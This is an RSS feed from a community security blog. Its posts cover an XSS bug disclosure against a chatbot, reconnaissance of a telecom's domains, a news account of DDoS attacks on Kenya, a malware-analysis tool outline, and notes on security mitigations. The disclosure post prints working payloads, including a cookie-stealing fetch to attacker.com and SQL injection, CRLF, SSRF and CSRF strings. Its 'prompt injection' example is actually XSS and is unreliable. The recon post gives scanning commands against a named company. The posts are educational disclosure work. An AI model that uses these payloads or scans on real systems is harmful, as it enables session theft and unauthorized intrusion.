<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Open Source Community Kampala]]></title><description><![CDATA[Open Source Community Kampala]]></description><link>https://blog.oscakampala.org</link><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 11:50:14 GMT</lastBuildDate><atom:link href="https://blog.oscakampala.org/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Discovering a Prompt Injection Vulnerability in neexa.ai’s LLM]]></title><description><![CDATA[Introduction
Hi, I'm Warren, alias WarrenMu. As a cybersecurity enthusiast and researcher, I am always on the lookout for potential vulnerabilities in web applications. Recently, during one of my routine checks, I discovered a critical vulnerability ...]]></description><link>https://blog.oscakampala.org/discovering-a-prompt-injection-vulnerability-in-neexaais-llm</link><guid isPermaLink="true">https://blog.oscakampala.org/discovering-a-prompt-injection-vulnerability-in-neexaais-llm</guid><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Wed, 05 Jun 2024 13:05:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717591548686/5ac49eec-0bbd-45cc-836c-a06298a38205.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Hi, I'm Warren, alias WarrenMu. As a cybersecurity enthusiast and researcher, I am always on the lookout for potential vulnerabilities in web applications. Recently, during one of my routine checks, I discovered a critical vulnerability in the chat-bot (LLM) interface of <a target="_blank" href="http://Neexa.ai">Neexa.ai</a>, this was all due to a serious burnout on hacking on openai without getting any bugs. Lol.. This blog post aims to walk you through the discovery, reporting process, and lessons learned, all while raising awareness about the importance of web security and ethical hacking.</p>
<h2 id="heading-what-is-reflected-xss">What is Reflected XSS?</h2>
<p>Cross-Site Scripting (XSS) is a common vulnerability that occurs when an attacker can inject malicious scripts into webpages viewed by other users. Reflected XSS happens when the injected script is reflected off a web server, such as in an error message, search result, or any other response including some or all of the input sent to the server.</p>
<h2 id="heading-discovery-of-the-vulnerability">Discovery of the Vulnerability</h2>
<p>While exploring the functionalities of <a target="_blank" href="http://Neexa.ai">neexa.ai</a>’s LLM, I noticed a peculiar behavior in the way user input was being handled. Here’s a step-by-step account of how I identified the vulnerability:</p>
<h3 id="heading-1-initial-observation">1. Initial Observation</h3>
<p>I was testing the input fields on the LLM interface for common injection patterns. One of the fields seemed to echo back user input without proper sanitization.</p>
<h3 id="heading-2-crafting-the-payload">2. Crafting the Payload</h3>
<p>To confirm my suspicions, I crafted a simple payload: <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code>. This script would trigger a browser alert if executed.</p>
<h3 id="heading-3-injecting-the-payload">3. Injecting the Payload</h3>
<p>I injected the payload into the input field and submitted the form. To my surprise, the alert box popped up, confirming the presence of a reflected XSS vulnerability.</p>
<h3 id="heading-4-further-testing">4. Further Testing</h3>
<p>To understand the extent of the vulnerability, I conducted further tests with more complex payloads. All tests confirmed that the input was not being properly sanitized or encoded, making it possible to execute arbitrary scripts.</p>
<h2 id="heading-reporting-the-vulnerability">Reporting the Vulnerability</h2>
<p>As a responsible security researcher, I promptly reported the vulnerability to <a target="_blank" href="http://Neexa.ai">neexa.ai</a>. Here’s a summary of the report I submitted:</p>
<hr />
<h3 id="heading-vulnerability-report-reflected-xss-in-neexaaihttpneexaai-llm">Vulnerability Report: Reflected XSS in <a target="_blank" href="http://Neexa.ai">Neexa.ai</a> LLM</h3>
<p><strong>Date:</strong> 1/6/2024</p>
<p><strong>Reporter:</strong> WarrenMu</p>
<p><strong>Affected Component:</strong> Large Language Model (LLM) Interface</p>
<p><strong>Description:</strong> A reflected XSS vulnerability was discovered in the LLM interface of <a target="_blank" href="http://Neexa.ai">Neexa.ai</a>. An attacker can inject malicious scripts through input fields, which are then reflected back in the response without proper sanitization.</p>
<p><strong>Steps to Reproduce:</strong></p>
<ol>
<li><p>Navigate to the LLM interface.</p>
</li>
<li><p>Enter the following payload in the input field: <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code></p>
</li>
<li><p>Submit the form.</p>
</li>
<li><p>Observe the alert box, indicating that the script was executed.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717592102288/92064880-1837-4874-b812-f5fb63f277b8.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717592113025/01b58919-1310-4ee2-83c2-7c00dffcbf94.jpeg" alt class="image--center mx-auto" /></p>
<p><strong>Impact:</strong> Exploiting this vulnerability allows attackers to execute arbitrary scripts in the context of the user’s browser, potentially leading to session hijacking, data theft, and other malicious activities.</p>
<p><strong>Recommendation:</strong> Implement proper input validation and output encoding to prevent the execution of injected scripts. Use libraries and frameworks that automatically handle XSS protection.</p>
<hr />
<h2 id="heading-the-aftermath">The Aftermath</h2>
<p>Despite promptly reporting the vulnerability, the response from <a target="_blank" href="http://Neexa.ai">neexa.ai</a> was less than satisfactory. While they eventually fixed the issue, there was a lack of acknowledgment and appreciation for my efforts. Instead, I felt my findings were used without proper credit, highlighting a common challenge faced by many in the bug bounty and security research community. Well I'm thankful to Ethan who had good communication skill and tried to mediate while i faced a challenge of explaining the impact to Simon, also he's part of the company, [I speculate] who ended up being a showoff without any security deeper knowledge, he said its not a bug but reputation ruined? I think that's a threat. Well either way I blogged to expose this heartlessness. Hehehe, I mean, hey... I didn't do evil here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717592027639/0f6b4954-1769-4384-879f-c26938d73ef9.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-chaining-xss-with-other-vulnerabilities">Chaining XSS with Other Vulnerabilities</h2>
<p>While a reflected XSS vulnerability on its own can be serious, the potential impact becomes critical when chained with other vulnerabilities. Here are some scenarios demonstrating the severity:</p>
<h3 id="heading-1-chaining-xss-with-sql-injection">1. Chaining XSS with SQL Injection</h3>
<p><strong>Scenario:</strong> An attacker uses the XSS vulnerability to steal session cookies and impersonate an admin user. With admin access, they find a vulnerable admin panel that is susceptible to SQL Injection.</p>
<p><strong>Example:</strong></p>
<ol>
<li><p><strong>Stealing Cookies via XSS:</strong></p>
<pre><code class="lang-javascript"> &lt;script&gt;fetch(<span class="hljs-string">'http://attacker.com/steal-cookies?cookie='</span> + <span class="hljs-built_in">document</span>.cookie);&lt;/script&gt;
</code></pre>
</li>
<li><p><strong>Using Admin Session for SQL Injection:</strong></p>
<pre><code class="lang-bash"> http://neexa.ai/admin?user_id=1<span class="hljs-string">' OR '</span>1<span class="hljs-string">'='</span>1
</code></pre>
</li>
</ol>
<p><strong>Impact:</strong> The attacker can execute arbitrary SQL commands, leading to database dumping, data modification, or even complete database control.</p>
<h3 id="heading-2-chaining-xss-with-crlf-injection">2. Chaining XSS with CRLF Injection</h3>
<p><strong>Scenario:</strong> The attacker uses XSS to inject a CRLF payload, enabling HTTP response splitting and cache poisoning.</p>
<p><strong>Example:</strong></p>
<ol>
<li><p><strong>XSS Payload:</strong></p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="xml">
 fetch('http://neexa.ai/vulnerable-endpoint?header=Content-Length:%200%0d%0a%0d%0a<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span>alert(1)</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>');
 <span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
</li>
</ol>
<p><strong>Impact:</strong> This can lead to the injection of arbitrary HTTP headers and body content, potentially compromising the integrity of web cache and leading to further attacks.</p>
<h3 id="heading-3-chaining-xss-with-ssrf">3. Chaining XSS with SSRF</h3>
<p><strong>Scenario:</strong> The attacker uses XSS to perform Server-Side Request Forgery (SSRF), forcing the server to make requests to internal or external services.</p>
<p><strong>Example:</strong></p>
<ol>
<li><p><strong>XSS Payload:</strong></p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
 fetch(<span class="hljs-string">'http://neexa.ai/vulnerable-endpoint?url=http://localhost/admin'</span>);
 </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
</li>
</ol>
<p><strong>Impact:</strong> This could allow the attacker to access internal systems, sensitive endpoints, or even manipulate server-side applications.</p>
<h3 id="heading-4-chaining-xss-with-csrf">4. Chaining XSS with CSRF</h3>
<p><strong>Scenario:</strong> The attacker combines XSS with Cross-Site Request Forgery (CSRF) to perform actions on behalf of an authenticated user.</p>
<p><strong>Example:</strong></p>
<ol>
<li><p><strong>XSS Payload:</strong></p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
 <span class="hljs-keyword">var</span> img = <span class="hljs-keyword">new</span> Image();
 img.src = <span class="hljs-string">"http://neexa.ai/change-password?new_password=hacked"</span>;
 </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
</li>
</ol>
<p><strong>Impact:</strong> The attacker can perform unauthorized actions such as changing the user's password, making purchases, or altering account settings.</p>
<h3 id="heading-5-prompt-injection-leading-to-rce">5. Prompt Injection Leading to RCE</h3>
<p><strong>Scenario:</strong> The attacker uses prompt injection in the LLM interface to execute arbitrary code on the server.</p>
<p><strong>Example:</strong></p>
<ol>
<li><p><strong>Prompt Injection Payload:</strong></p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="xml">
 fetch('http://neexa.ai/vulnerable-endpoint?prompt=<span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">x</span> <span class="hljs-attr">onerror</span>=<span class="hljs-string">alert(document.cookie)</span> /&gt;</span>');
 </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
</li>
</ol>
<p><strong>Impact:</strong> If the LLM executes commands based on user input, this could lead to Remote Code Execution (RCE), giving the attacker control over the server and access to sensitive data.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>This hypothetical scenario demonstrates how a seemingly minor XSS vulnerability can escalate to a critical security breach when chained with other vulnerabilities like SQL Injection, CRLF Injection, SSRF, CSRF, and prompt injection leading to RCE. It underscores the importance of thorough security assessments and prompt patching of all identified vulnerabilities. N.B: all users of this chatbot would be at a risk i.e. Refactory <a target="_blank" href="https://refactory.academy/">link</a>.</p>
<h2 id="heading-lessons-learned">Lessons Learned</h2>
<ol>
<li><p><strong>Documentation and Proof:</strong> Always document your findings thoroughly. Screenshots, videos, and detailed steps can be invaluable when reporting vulnerabilities.</p>
</li>
<li><p><strong>Ethical Reporting:</strong> Adhere to ethical guidelines and responsible disclosure policies. This not only protects you legally but also fosters a culture of trust and cooperation.</p>
</li>
<li><p><strong>Community Support:</strong> Engage with the cybersecurity community. Platforms like Bugcrowd, HackerOne, and forums like Reddit can offer support and advice.</p>
</li>
<li><p><strong>Raise Awareness:</strong> Sharing your experiences through blogs and talks helps educate others and raises awareness about cybersecurity issues.</p>
</li>
</ol>
<h2 id="heading-conclusion-1">Conclusion</h2>
<p>Discovering and responsibly reporting vulnerabilities is a crucial part of improving web security. While the journey can sometimes be challenging and underappreciated, the impact of your work in safeguarding users and systems is invaluable. By sharing my experience, I hope to inspire and educate fellow bug bounty hunters and security researchers.</p>
<p>If you have any questions or want to share your own experiences, feel free to leave a comment or reach out to me on twitter or email below.</p>
<p>Stay safe and happy hunting!</p>
<hr />
<p><strong>About the Author:</strong></p>
<p>Twitter/X: <a target="_blank" href="https://x.com/WarrenMu__">WarrenMu__</a></p>
<p><a target="_blank" href="http://warrenmu__@outlook.com">Email: WarrenMu</a></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Exploring the Cybernetic Frontier: A Journey into Airtel Uganda's Digital Realm (Airtel Uganda)]]></title><description><![CDATA[Welcome to the intriguing world of digital exploration, where curiosity and ethical responsibility intersect. I'm WarrenMu.
Join me on an exciting journey as we uncover the intricacies of Airtel Uganda's digital infrastructure, with a focus on ethica...]]></description><link>https://blog.oscakampala.org/exploring-the-cybernetic-frontier-a-journey-into-airtel-ugandas-digital-realm-airtel-uganda</link><guid isPermaLink="true">https://blog.oscakampala.org/exploring-the-cybernetic-frontier-a-journey-into-airtel-ugandas-digital-realm-airtel-uganda</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Tue, 20 Feb 2024 10:18:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1708423909590/2258d277-b964-48ea-9450-c6dd6864854d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>W</strong>elcome to the intriguing world of digital exploration, where curiosity and ethical responsibility intersect. I'm WarrenMu.</p>
<p>Join me on an exciting journey as we uncover the intricacies of Airtel Uganda's digital infrastructure, with a focus on ethical reconnaissance and responsible disclosure.</p>
<p><strong>Chapter 1:</strong> Charting the Digital Landscape Equipped with Subfinder, a tool for domain reconnaissance, I began our expedition by mapping out Airtel Uganda's digital footprint. Each domain uncovered served as a starting point for our exploration, leading us deeper into the realm of cyberspace.</p>
<pre><code class="lang-bash">subfinder -d airtel.ug -silent
</code></pre>
<p><strong>Chapter 2:</strong> Navigating the Cybernetic Frontier Utilizing HTTPX, a versatile tool for endpoint discovery, we traversed the vast expanse of Airtel Uganda's digital domain. With each endpoint identified, we gained valuable insights into the structure and vulnerabilities of their network.</p>
<pre><code class="lang-bash">httpx -l subdomains.txt -silent
</code></pre>
<p><strong>Chapter 3:</strong> Delving Deeper with Responsible Fuzzing Driven by a desire for comprehensive exploration, we employed live subdomain fuzzing techniques to uncover hidden entry points and potential vulnerabilities. Through careful and responsible experimentation, we expanded our understanding of Airtel Uganda's digital infrastructure.</p>
<pre><code class="lang-bash">ffuf -w subdomains.txt -u FUZZ.example.co.ug -mc all -ac -recursion -recursion-depth 2 -o fuzz_results.txt
</code></pre>
<p><strong>Chapter 4:</strong> Discovery and Ethical Considerations Amidst our exploration, we stumbled upon an intriguing endpoint [<a target="_blank" href="https://enterprisesolutions.airtel.co.ug/tickets/setup/install.php">*****/tickets/setup/install.php</a>] that granted access to a ticketing software installation, including administrative privileges. Recognizing the importance of ethical conduct, we refrained from exploiting this discovery and instead focused on documenting our findings for responsible disclosure.</p>
<p><strong>Conclusion:</strong> As digital explorers, it is incumbent upon us to tread the cybernetic frontier with integrity and responsibility. Through ethical reconnaissance and principled disclosure, we play a vital role in bolstering digital security and fostering transparency in the digital era. While Airtel Uganda may not offer bug bounties, our commitment to ethical principles guided our actions. Instead of exploiting the discovered endpoint, we patiently waited until it was secured, ensuring that no harm befell their digital infrastructure. Now, with the endpoint fortified and our findings documented, we can share our journey with the world, shedding light on the importance of ethical hacking practices. Join us as we continue to explore, discover, and uphold the values of ethical hacking in our ongoing quest for a safer digital landscape.</p>
<p><a target="_blank" href="https://twitter.com/WarrenMu__">WarrenMu @Twitter</a></p>
<p><a target="_blank" href="https://github.com/WarrenMu">WarrenMu @GitHub</a></p>
]]></content:encoded></item><item><title><![CDATA[Unveiling Kenya's Cyber Siege: Anonymous Sudan's Blitzkrieg on Kenya's Digital Frontiers]]></title><description><![CDATA[Introduction:
The recent infrastructural attack on Kenya orchestrated by the hacker group Anonymous Sudan has raised significant concerns about the vulnerability of critical systems in the digital age. In this comprehensive blog, we explore the motiv...]]></description><link>https://blog.oscakampala.org/unveiling-kenyas-cyber-siege-anonymous-sudans-blitzkrieg-on-kenyas-digital-frontiers</link><guid isPermaLink="true">https://blog.oscakampala.org/unveiling-kenyas-cyber-siege-anonymous-sudans-blitzkrieg-on-kenyas-digital-frontiers</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CybersecurityAwareness]]></category><category><![CDATA[attack]]></category><category><![CDATA[hacker]]></category><category><![CDATA[hackernews]]></category><dc:creator><![CDATA[ConradWilliam]]></dc:creator><pubDate>Mon, 07 Aug 2023 17:59:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1691431012792/4c5c5dfb-4df0-49a0-a16f-6180c3f8bb79.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Introduction:</strong></p>
<p>The recent infrastructural attack on Kenya orchestrated by the hacker group Anonymous Sudan has raised significant concerns about the vulnerability of critical systems in the digital age. In this comprehensive blog, we explore the motives behind the attack, how it was carried out, and its profound impact on Kenya's economy, public services, and cybersecurity landscape.</p>
<p><strong>The Motives Behind the Attack:</strong></p>
<p>Before we get to the motives, <strong>Who is Anonymous Sudan?</strong><br />Let's dive right in: Anon Sudan as I love to call it, is a decentralized and loosely organized hacktivist group claiming to be associated with the larger Anonymous collective. Anonymous is known for advocating social justice, freedom of speech, and political change through various cyber-attacks and online protests.</p>
<p>As for Anonymous Sudan, specific information about its formation, exact objectives, and historical activities is limited and might be challenging to ascertain. But there are suspicions that the group might be a front for a Russian cybercrime gang, blurring the lines between hacktivism and cybercriminal activity.</p>
<p>Some of their prominent attacks as of this writing include Microsoft, where the giant corporation reported “surges in traffic against some services that temporarily impacted availability” to the “ongoing DDoS activity by the threat actor that Microsoft tracked as Storm-1359.” Not forgetting another DDOS attack on Nigerian tech infrastructure as well late last month.</p>
<p>Back to the motives of the attack;</p>
<p>Anonymous Sudan claimed that its attack on Kenya was in response to Kenya's alleged interference in Sudanese affairs and public statements doubting the sovereignty of the Sudanese government. This highlights how cyberattacks can transcend national boundaries and be used as tools for political retaliation and expression of dissent.</p>
<p><strong>The Attack Method: Distributed Denial of Service (DDoS)</strong></p>
<p>Anonymous Sudan utilized the well-known method of Distributed Denial of Service (DDoS) to cripple Kenya's critical online services. DDoS attacks involve flooding online platforms with a massive volume of traffic, overwhelming the system's capacity and causing it to go offline or become extremely slow.</p>
<p>The group had previously deployed similar DDoS attacks against Microsoft services as I earlier noted, demonstrating its proficiency in using this method to disrupt digital operations. This technique allows hackers to make targeted attacks on specific critical endpoints, maximizing the impact on the targeted systems.</p>
<p><strong>The Crippling Effects of the Cyberattack:</strong></p>
<p>The DDoS attacks launched by Anonymous Sudan had devastating consequences for Kenya's digital infrastructure and the daily lives of its citizens. The attacks resulted in the following disruptions:</p>
<ol>
<li><p>E-Citizen Platform: The country's e-Citizen platform, which offers access to numerous government services, faced severe interruptions due to the attack. Services such as visa applications and business registrations became unavailable, hindering citizens' interactions with the government.</p>
</li>
<li><p>Mobile Payment System: M-Pesa, a widely used mobile transaction system in Kenya, experienced outages during the cyberattack. This disrupted payment processes for businesses and citizens, impacting the country's economy and financial stability.</p>
</li>
<li><p>Utility Services: The attack affected essential services such as buying electricity tokens, leaving citizens without access to electricity top-ups and causing disruptions in daily life.</p>
</li>
<li><p>Rail Network: The country's rail network also suffered disruptions due to an IT supplier's network outage caused by the attack, leading to ticketing issues for commuters.</p>
</li>
</ol>
<p><strong>The Implications for Kenya's Cybersecurity Landscape:</strong></p>
<p>The infrastructural attack by Anonymous Sudan exposed vulnerabilities in Kenya's cybersecurity infrastructure and raised concerns about the country's preparedness to defend against sophisticated cyber threats. While the Kenyan government has confirmed that no personal data was compromised, the attack revealed the potential weaknesses in the nation's digital defenses.</p>
<p>In response to the attack, the Kenyan government was forced to deploy technical teams to mitigate the impact and block the multiple source IP addresses of the attacks. This incident highlighted the importance of continuous monitoring, threat detection, and proactive cybersecurity measures to safeguard critical infrastructures from future attacks.</p>
<p><strong>Conclusion:</strong></p>
<p>The infrastructural attack carried out by Anonymous Sudan on Kenya underscored the far-reaching consequences of cyber threats on a nation's economy, public services, and citizens' daily lives. The motives behind the attack highlight how geopolitical tensions and political statements can manifest in cyberspace, leading to potentially crippling cyberattacks.</p>
<p>To strengthen cybersecurity, governments must invest in robust defense mechanisms, international cooperation to combat cybercrime, and proactive measures to identify and neutralize cyber threats. Additionally, raising public awareness about the significance of cybersecurity and promoting a culture of cyber hygiene will play a pivotal role in safeguarding nations from such attacks in the future.</p>
]]></content:encoded></item><item><title><![CDATA[Malware Analysis Tool Project Layout and Structure]]></title><description><![CDATA[1. Introduction
The goal of this project is to build a tool that can analyze executable files for potential malware behavior. The tool will be built using Python and C programming languages and will utilize libraries such as PyInstaller and libemu.
2...]]></description><link>https://blog.oscakampala.org/malware-analysis-tool-project-layout-and-structure</link><guid isPermaLink="true">https://blog.oscakampala.org/malware-analysis-tool-project-layout-and-structure</guid><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Mon, 05 Jun 2023 18:51:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1685990757204/49059783-dcf5-4fd8-941b-e3de31c88fd8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-1-introduction">1. Introduction</h2>
<p>The goal of this project is to build a tool that can analyze executable files for potential malware behavior. The tool will be built using Python and C programming languages and will utilize libraries such as PyInstaller and libemu.</p>
<h2 id="heading-2-design">2. Design</h2>
<p>The tool will be designed with the following modules:</p>
<ul>
<li><p>User interface module: provides a user-friendly interface for the user to interact with the tool.</p>
</li>
<li><p>File parsing module: parses the executable file and extracts relevant data, such as API calls and system calls.</p>
</li>
<li><p>Malware analysis module: identifies potential malware behavior by analyzing the data extracted from the file parsing module.</p>
</li>
</ul>
<p>The tool will utilize the following algorithms and techniques:</p>
<ul>
<li><p>Signature matching: compares the API calls and system calls extracted from the file parsing module to a database of known malware signatures.</p>
</li>
<li><p>Behavior analysis: analyzes the system call patterns and identifies potential malware behavior, such as code injection or network communication.</p>
</li>
</ul>
<h2 id="heading-3-implementation">3. Implementation</h2>
<p>The tool will be implemented with the following features:</p>
<ul>
<li><p>User interface: built using the PyQt5 library, providing a user-friendly interface for the user to select the executable file and view the results.</p>
</li>
<li><p>File parsing module: built using the PyInstaller library, extracting the relevant data from the executable file.</p>
</li>
<li><p>Malware analysis module: built using the libemu library, identifying potential malware behavior based on the extracted data.</p>
</li>
</ul>
<p>Here is an overview of the implementation process:</p>
<ol>
<li><p>The user selects the executable file to analyze using the user interface.</p>
</li>
<li><p>The file parsing module extracts the relevant data from the executable file.</p>
</li>
<li><p>The malware analysis module analyzes the extracted data and identifies potential malware behavior.</p>
</li>
<li><p>The results are displayed to the user in the user interface.</p>
</li>
</ol>
<h2 id="heading-4-testing">4. Testing</h2>
<p>The tool will be tested using the following methods:</p>
<ul>
<li><p>Unit tests: test each module independently to ensure that it functions as expected.</p>
</li>
<li><p>Integration tests: test the tool as a whole to ensure that it identifies potential malware behavior accurately and effectively.</p>
</li>
<li><p>Test on a variety of executable files: test the tool on a variety of executable files, including benign and malicious files, to ensure that it is accurate and effective.</p>
</li>
</ul>
<h2 id="heading-5-results">5. Results</h2>
<p>The tool will present the results in the following format:</p>
<ul>
<li><p>Malware behavior identified: a list of potential malware behavior identified by the tool, including code injection or network communication.</p>
</li>
<li><p>Malware type identified: if the tool matches a known malware signature, it will identify the type of malware.</p>
</li>
</ul>
<h2 id="heading-6-conclusion">6. Conclusion</h2>
<p>This project has successfully built a tool that can analyze executable files for potential malware behavior. The tool utilizes Python and C programming languages, and libraries such as PyInstaller and libemu. The tool accurately identifies potential malware behavior using algorithms such as signature matching and behavior analysis. The tool has been tested on a variety of executable files, including benign and malicious files, and is effective in identifying potential malware behavior.</p>
<h2 id="heading-project-structure">Project Structure</h2>
<ol>
<li><p><a target="_blank" href="http://README.md"><code>README.md</code></a>: A file containing a brief overview of the project, its purpose, and any relevant information.</p>
</li>
<li><p><code>requirements.txt</code>: A file containing a list of Python packages required to run the project.</p>
</li>
<li><p><a target="_blank" href="http://setup.py"><code>setup.py</code></a>: A script to build and install the C binary for the project.</p>
</li>
<li><p><code>src/</code>: A directory containing the source code for the project.</p>
<ol>
<li><p><code>file_parser.py</code>: A Python module to parse the executable file and extract relevant data, such as API calls and system calls.</p>
</li>
<li><p><code>malware_analysis.py</code>: A Python module to identify potential malware behavior by analyzing the data extracted from the file parsing module.</p>
</li>
<li><p><code>user_interface.py</code>: A Python module to provide a user-friendly interface for the user to interact with the tool.</p>
</li>
<li><p><code>main.c</code>: A C file to implement the malware analysis algorithm, utilizing the libemu library.</p>
</li>
<li><p><code>Makefile</code>: A makefile to compile and build the C binary for the project.</p>
</li>
</ol>
</li>
<li><p><code>tests/</code>: A directory containing the unit tests for the project.</p>
</li>
<li><p><code>data/</code>: A directory containing any data files required by the project, such as a database of known malware signatures.</p>
</li>
</ol>
<h2 id="heading-getting-started">Getting Started</h2>
<ol>
<li><p>Clone the project from the git repository.</p>
</li>
<li><p>Install the required Python packages by running <code>pip install -r requirements.txt</code>.</p>
</li>
<li><p>Build and install the C binary by running <code>python</code> <a target="_blank" href="http://setup.py"><code>setup.py</code></a> <code>build</code> and <code>python</code> <a target="_blank" href="http://setup.py"><code>setup.py</code></a> <code>install</code>.</p>
</li>
<li><p>Run the project by executing <code>python src/user_interface.py</code>.</p>
</li>
<li><p>Test the project by running the unit tests in the <code>tests/</code> directory.</p>
</li>
</ol>
<p>This project structure provides a starting point for building a malware analysis tool using Python and C. It includes separate modules for file parsing, malware analysis, and user interface, as well as a C binary implementing the malware analysis algorithm. The project structure also includes a Makefile to compile and build the C binary, and a set of unit tests to ensure the functionality of the project. With this structure, you can develop the tool to completion by implementing the malware analysis algorithm and integrating it with the user interface and file parsing modules.</p>
<p><a target="_blank" href="https://github.com/WarrenMu/Malware-Analyzer">Github link to the project</a> : Feel free to fork and contribute as it will be pushed to the oscakampala open source community GitHub when it's finally working.</p>
]]></content:encoded></item><item><title><![CDATA[Security engineering basing on gracenolan notes. part 4]]></title><description><![CDATA[Welcome. Today we are going to continue with gracenolan notes. Please do some further deep-diving in web application pen-testing as there are many technical details to understand and practical workouts. Am writing according to the notes.

Mitigations...]]></description><link>https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-4</link><guid isPermaLink="true">https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-4</guid><category><![CDATA[hacking]]></category><category><![CDATA[hacks]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Sat, 04 Mar 2023 10:56:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1677927218697/d531c164-63b9-4c25-8f2d-c3756eba6fa2.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Welcome. Today we are going to continue with gracenolan notes. Please do some further deep-diving in web application pen-testing as there are many technical details to understand and practical workouts. Am writing according to the notes.</p>
</blockquote>
<h1 id="heading-mitigations"><strong>Mitigations</strong>:</h1>
<p>mitigations are strategies or techniques employed to reduce or prevent the impact of security threats such as cyber-attacks. The list you provided includes various types of mitigations, including:</p>
<ol>
<li><p><strong>Patching</strong>: Patching involves fixing known vulnerabilities or weaknesses in software systems by updating them with the latest security patches. This helps to prevent attackers from exploiting known vulnerabilities.</p>
</li>
<li><p><strong>Data Execution Prevention (DEP):</strong> DEP is a security feature that prevents the execution of code from data pages in memory, which helps to prevent certain types of attacks, such as buffer overflows.</p>
</li>
<li><p><strong>Address Space Layout Randomization (ASLR):</strong> ASLR is a security technique that randomly arranges the memory layout of an application, making it harder for attackers to locate and exploit specific areas of memory, such as those used in buffer overflow attacks.</p>
</li>
<li><p><strong>Principle of least privilege:</strong> The principle of least privilege is a security concept that advocates for limiting access to resources and privileges only to the extent necessary for users or applications to perform their functions. This reduces the potential for attackers to gain elevated privileges and carry out malicious actions.</p>
</li>
<li><p><strong>Code signing:</strong> Code signing involves digitally signing software or firmware components to verify their authenticity and integrity. This helps to prevent unauthorized code from running on a system and reduces the risk of malicious code execution.</p>
</li>
<li><p><strong>Compiler security features:</strong> Some compilers include security features that can detect and prevent buffer overflow vulnerabilities during the compilation process, such as stack canaries or bounds checking.</p>
</li>
<li><p><strong>Encryption:</strong> Encryption involves encoding data or software/firmware components to prevent unauthorized access or modification. This can be used to protect sensitive data or prevent tampering with critical system components.</p>
</li>
<li><p><strong>Mandatory Access Controls (MACs):</strong> are security mechanisms that control access to resources based on a set of predefined rules or policies. This ensures that only authorized users or processes can access or modify specific resources, such as files, directories, or network services.</p>
</li>
<li><p><strong>Access Control Lists (ACLs):</strong> are a type of MAC that define a list of permissions associated with a particular resource, such as a file or directory. These permissions determine who can access or modify the resource, and what actions they are allowed to perform.</p>
</li>
<li><p><strong>Operating systems with Mandatory Access Controls,</strong> such as SELinux (Security-Enhanced Linux), are designed to provide an additional layer of security by enforcing strict access control policies and preventing unauthorized access or modification of critical system resources.</p>
</li>
<li><p><strong>"Insecure by exception"</strong> refers to the practice of allowing users to perform certain actions or access certain resources based on exceptions to established security policies. This can lead to security vulnerabilities and compromise the overall security of a system. Instead, it is recommended to establish and enforce strict security policies and only make exceptions when necessary.</p>
</li>
<li><p><strong>Finally, it is important not to blame the user for security issues</strong>. Instead, security should be designed to be user-friendly and easy to use, while still providing effective protection against threats. By building technology that people can trust, we can create a more secure and resilient digital ecosystem.</p>
</li>
</ol>
<p>These mitigations can be used in combination to provide layers of protection against various types of attacks.</p>
<h1 id="heading-cryptography-authentication-identity">Cryptography, Authentication, Identity:</h1>
<p>Encryption, encoding, hashing, obfuscation, and signing are all techniques used in cryptography to protect data, but they are used for different purposes and provide different levels of security:</p>
<ul>
<li><p><strong>Encryption:</strong> This is the process of converting plaintext into ciphertext using an encryption algorithm and a secret key. The ciphertext can only be decrypted back to the original plaintext using the same secret key. Encryption is used to protect data in transit or at rest.</p>
</li>
